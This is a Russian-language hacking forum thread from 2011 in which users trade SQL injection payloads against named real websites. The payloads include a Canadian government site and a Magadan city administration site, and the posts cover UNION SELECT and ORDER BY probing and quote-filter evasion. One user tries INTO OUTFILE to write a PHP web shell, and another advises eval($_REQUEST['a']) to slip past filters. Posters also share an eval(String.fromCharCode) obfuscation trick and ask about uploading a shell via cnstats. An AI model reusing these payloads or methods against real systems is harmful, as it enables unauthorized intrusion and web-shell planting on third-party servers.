09.06.2011, 07:08
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
M1lten, что именно не получается?
eval(String.fromCharCode(тут любой нужный JS-код))
|
|
|
09.06.2011, 11:46
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Помогите разобраться вот с этой скулёй.
Код:
http://www.biogov.gc.ca/english/LinkSearch.asp?x=732&formAction=keywordsearch&txtSearchKeywords=13\
Мож есть статья как крутить при алертах |
|
|
|
09.06.2011, 12:18
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Сообщение от BigBear
Помогите разобраться вот с этой скулёй.
Код:
http://www.biogov.gc.ca/english/LinkSearch.asp?x=732&formAction=keywordsearch&txtSearchKeywords=13\
Мож есть статья как крутить при алертах http://www.biogov.gc.ca/english/view.asp?x=551&mid=135+order+by+15
|
|
|
|
09.06.2011, 16:43
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Сообщение от FlaktW
http://www.biogov.gc.ca/english/view.asp?x=551&mid=135+order+by+15
Пробовал. Вывода не нашёл.
Также пробовал через подзапрос
Код:
http://www.biogov.gc.ca/english/view.asp?x=551&mid=135+and+1=1+union+select+1
Так же болт.
|
|
|
|
09.06.2011, 23:37
|
|
Познающий
Регистрация: 14.09.2008
Сообщений: 38
С нами:
9292218
Репутация:
37
|
|
Бразы, кто в курсе нет каким макаром залить шелл через cnstats
|
|
|
|
09.06.2011, 23:42
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от KosoyRoman
Бразы, кто в курсе нет каким макаром залить шелл через cnstats
какая версия?
|
|
|
|
10.06.2011, 13:56
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Фильтруется кавычка, как здесь это обойти. В интернете искал, но по этому вопросу ничего не нашел.
http://www.cityadm.magadan.ru/index.php?cstart=4'+order+by+1+--+&do=cat&category=kotirovka
|
|
|
|
10.06.2011, 14:25
|
|
Новичок
Регистрация: 19.05.2010
Сообщений: 6
С нами:
8411065
Репутация:
4
|
|
?id=-512+UnIoN+AlL+sElEcT+1,2,'',4,5,6,7,8+INTO+OUTFILE +'/web3/vhosts/webhosting/news/php.php'--
выдает Bad Request
что можно сделать?
|
|
|
|
10.06.2011, 14:28
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от kroŧ
?id=-512+UnIoN+AlL+sElEcT+1,2,'',4,5,6,7,8+INTO+OUTFILE +'/web3/vhosts/webhosting/news/php.php'--
выдает Bad Request
что можно сделать?
сервер ругается, вероятнее на слово $_GET или систем, подставь разные слова/функции смотри что конкретно фильтрует
пробуй eval($_REQUEST['a']), ну или как то так, в основном именно они не попадают под фильтр
---
да и вообще нах юзать system?
|
|
|
|
10.06.2011, 15:04
|
|
Новичок
Регистрация: 19.05.2010
Сообщений: 6
С нами:
8411065
Репутация:
4
|
|
Konqi спасибо, я так понял можно записать любой код, буду пробовать.
Вот ещё проблема
http://www.trommeslageren.dk/index2.php?id='0
ни могу подобрать поля
http://www.trommeslageren.dk/index2.php?id=-10+union+select+null,null..
ни чего не меняется
что тогда делать?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
